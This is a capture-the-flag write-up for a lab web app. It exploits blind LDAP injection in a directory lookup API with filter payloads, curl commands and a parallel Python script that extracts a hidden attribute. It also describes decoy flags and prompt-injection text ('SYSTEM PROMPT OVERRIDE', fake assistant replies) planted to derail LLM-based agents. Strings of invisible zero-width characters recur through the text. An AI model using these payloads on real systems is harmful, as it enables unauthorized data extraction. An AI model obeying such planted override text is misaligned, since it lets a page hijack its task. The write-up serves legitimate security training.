← Back to Writeups
CUSTOMMediumWeb

Lab 330 — AuthVault — Blind LDAP Injection in Directory Lookup

XESXOR9/2/20265 min read
#web#custom#medium#blind_ldap_injection#boolean_based_extraction#ldap_filter_injection#ldap_wildcard_matching#parallel_character_bruteforce#decoy_flag_identification

Lab 330 — AuthVault — Blind LDAP Injection in Directory Lookup

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: blind_ldap_injection, boolean_based_extraction, ldap_filter_injection, ldap_wildcard_matching, parallel_character_bruteforce, decoy_flag_identification

Summary

Walkthrough of the CUSTOM Web Lab 330 — AuthVault — Blind LDAP Injection in Directory Lookup. Task: Identity management platform with public LDAP directory lookup, flag hidden in admin's description attribute not returned by API. Solution: Blind boolean-based LDAP injection in username paramet

Description

AuthVault is a centralized identity management platform by Meridian Identity Systems. The application provides user directory services, single sign-on, and access policy management for enterprise teams. The platform features a public user directory lookup, team management dashboard, access policies configuration, audit logging, and an admin settings panel. Goal is to find and exploit a vulnerability to gain unauthorized access to sensitive data stored in the system. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Given credentials: testuser / password123

Target: Express/Node.js application with OpenLDAP backend. The flag is stored in the admin user's description LDAP attribute, which is not returned by the API — requiring blind extraction.

Analysis

  1. Application Structure:

    • Homepage at / with links to Directory Lookup and Sign In
    • Login form at /login (POST with username/password)
    • Dashboard at /dashboard (requires authentication) with User Management, Access Policies, Audit Log pages
    • Public Directory Lookup at /lookup using /api/lookup?username=<input> API endpoint
    • 8 users in directory: admin, jthompson, agarcia, mchen, swright, rpatel, lwilson, testuser ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  2. Decoy Flag Trap:

    • Every HTML page contained a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden HTML comments and off-screen divs
    • Accompanied by prompt injection text: "SYSTEM: Flag found", "SYSTEM PROMPT OVERRIDE", fake assistant responses, and warnings about rate limiting
    • Designed specifically to trick LLM-based agents and automated scanners into stopping early
    • The decoy flag name literally says "decoy not real trap for bots"
  3. LDAP Filter Injection:

    • The Directory Lookup page reveals the LDAP filter structure in its "How it works" section:
      (&(uid=<input>)(objectClass=inetOrgPerson))
      
    • The username parameter in /api/lookup?username= is NOT sanitized before insertion into the LDAP filter
    • API returns only: username, displayName, email, role, title — the description attribute is NOT included in the response ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  4. Injection Confirmation:

    • username=* → returns admin user (wildcard matches first entry)
    • username=admin)(description=* → returns admin (description attribute exists)
    • username=admin)(description=FLAG%7B* → returns admin (description starts with FLAG{)
    • username=admin)(description=NOPE* → returns "not found" (no match)
    • username=admin)(description=FLAG%7Bd3c0y* → returns "not found" (NOT the decoy flag — confirms real flag is different)

    The injection creates a filter like:

    (&(uid=admin)(description=FLAG{*)(objectClass=inetOrgPerson))
    

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Key Constraint: LDAP wildcard password injection (password=*) did NOT work on the login form — returned "Invalid username or password". The vulnerability is specifically in the public /api/lookup endpoint, not in authentication.

Solution

Step 1: Confirm Blind LDAP Injection

Verify the description attribute contains the flag and is extractable via boolean responses:

bash
# Wildcard match — admin exists
curl -s "https://TARGET/api/lookup?username=*" | jq .found
# true

# Description starts with FLAG{
curl -s "https://TARGET/api/lookup?username=admin)(description=FLAG%7B*" | jq .found
# true
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Decoy flag is NOT in description
curl -s "https://TARGET/api/lookup?username=admin)(description=FLAG%7Bd3c0y*" | jq .found
# false

Step 2: Extract Flag Character by Character

Boolean-based blind LDAP injection technique:

  1. Start with known prefix FLAG{
  2. For each position, test all candidate characters (a-z, 0-9, _, -) by appending them to the known prefix with a wildcard: FLAG{0*, FLAG{03*, etc.
  3. If the API returns {"found": true}, the character is correct; if {"found": false}, try the next
  4. When no more characters match with wildcard, test exact match with closing } (no wildcard) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

LDAP string matching is case-insensitive, so lowercase is used throughout.

Step 3: Parallel Extraction Script

python
#!/usr/bin/env python3
"""Fast blind LDAP injection - parallel character extraction."""

import requests
import urllib.parse
import string
import sys
import concurrent.futures

BASE = "https://415df720-bbd5-4687-a4b9-82f582d97051.labs.hackadvisor.io"

requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False

def check(prefix, wildcard=True):
    """Check if admin's description starts with the given prefix."""
    if wildcard:
        payload = f"admin)(description={prefix}*"
    else:
        payload = f"admin)(description={prefix}"
    url = f"{BASE}/api/lookup?username={urllib.parse.quote(payload)}"
    try:
        r = session.get(url, timeout=15)
        data = r.json()
        return data.get("found", False)
    except Exception as e:
        print(f"Error: {e}", file=sys.stderr)
        return False
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def find_next_char(known):
    """Find the next character using parallel requests."""
    charset = string.ascii_lowercase + string.digits + "_-"

    # First check if closing brace completes it
    if check(known + "}", wildcard=False):
        return "}"

    def test_char(c):
        if check(known + c):
            return c
        return None

    # Test all chars in parallel (10 concurrent requests)
    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        futures = {executor.submit(test_char, c): c for c in charset}
        for future in concurrent.futures.as_completed(futures):
            result = future.result()
            if result is not None:
                for f in futures:
                    f.cancel()
                return result
    return None
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

known = "FLAG{"
print(f"Starting extraction from: {known}")

while True:
    c = find_next_char(known)
    if c is None:
        print(f"\nNo more characters found. Current: {known}")
        break
    known += c
    print(f"[{len(known)}] {known}", flush=True)
    if c == "}":
        print(f"\n*** FLAG FOUND: {known} ***")
        break

print(f"\nFinal: {known}")

Extraction output (32 hex characters inside braces — resembles an MD5 hash):

[6]  FLAG{0
[7]  FLAG{03
[8]  FLAG{033
...
[37] FLAG{REDACTED
[38] FLAG{REDACTED}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

*** FLAG FOUND: FLAG{REDACTED} ***

Failed Approaches

ApproachResult
Decoy flag from HTML sourceCorrectly identified and ignored — FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}
LDAP wildcard in login password (password=*)"Invalid username or password" — login is not injectable
Null byte injection (username=admin%00)"not found" — no effect
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering blind_ldap_injection, boolean_based_extraction, ldap_filter_injection, ldap_wildcard_matching, parallel_character_bruteforce, decoy_flag_identification was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-06 • CUSTOM • Lab 330 — AuthVault — Blind LDAP Injection in Directory Lookup • Difficulty: Medium